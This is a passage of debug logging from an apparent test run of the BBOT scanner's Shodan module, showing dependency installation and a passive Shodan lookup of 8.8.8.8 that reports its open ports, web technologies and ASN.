{ - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:06:19,126 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:06:19,127 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:06:19,132 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:06:19,133 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:06:19,133 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:06:19,134 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:06:19,134 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:06:19,134 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:06:19,135 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:06:19,135 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:06:19,135 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:06:19,136 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:06:19,142 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ng1ta6kii8lisgq4j5bj -2026-02-27 22:06:20,432 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:06:20,432 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:06:20,434 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:06:20,575 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:06:20,575 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:06:20,576 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:06:20,579 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:06:20,579 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:06:20,580 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:06:20,580 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:06:20,581 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:06:20,581 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:06:20,582 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:06:20,582 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:06:20,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:06:20,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:06:20,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:06:20,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:06:20,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:06:20,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:06:20,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:06:20,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:06:20,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:06:20,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:06:20,585 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:06:20,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:06:20,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:06:20,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:06:20,589 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:06:20,589 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:06:20,589 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:06:20,590 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:06:20,748 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_11kmtpu54e -2026-02-27 22:06:20,748 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:06:20,866 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:06:20,866 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:06:20,867 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:06:20,869 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 22:06:20,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:06:20,971 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:06:20,972 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:06:20,973 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-02-27 22:06:20,973 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 22:06:20,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:06:20,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:06:20,976 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 22:06:20,978 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:06:20,979 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:06:20,979 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:06:20,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:06:20,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:06:20,981 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:06:20,982 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:06:20,990 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:06:20,990 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:06:20,990 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:06:20,991 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:06:20,992 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-02-27 22:06:20,992 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-02-27 22:06:20,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-02-27 22:06:20,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:06:20,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:06:20,996 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:06:21,108 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:06:21,113 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:06:21,114 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:06:21,115 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:06:21,115 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-02-27 22:06:21,115 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:06:21,116 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,116 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,118 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-02-27 22:06:21,118 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,120 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,121 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,121 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:06:21,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:06:21,123 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:06:21,123 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,124 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,124 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,124 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,125 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,125 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:06:21,125 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,126 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,126 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,127 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:06:21,127 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:06:21,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-02-27 22:06:21,129 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,129 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) because precheck succeeded -2026-02-27 22:06:21,130 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,130 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,130 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,131 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,131 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,132 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,133 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,133 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:06:21,134 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,134 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:06:21,135 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:06:21,135 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:06:21,136 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,136 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,137 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,137 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,138 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,138 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:06:21,139 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:06:21,140 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:06:21,140 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,141 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,141 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,143 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,144 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:06:21,145 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) because precheck succeeded -2026-02-27 22:06:21,145 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,145 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,146 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,147 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:06:21,147 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:06:21,149 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:06:21,217 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-02-27 22:06:21,219 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,220 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:06:21,222 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,222 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:06:21,223 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", 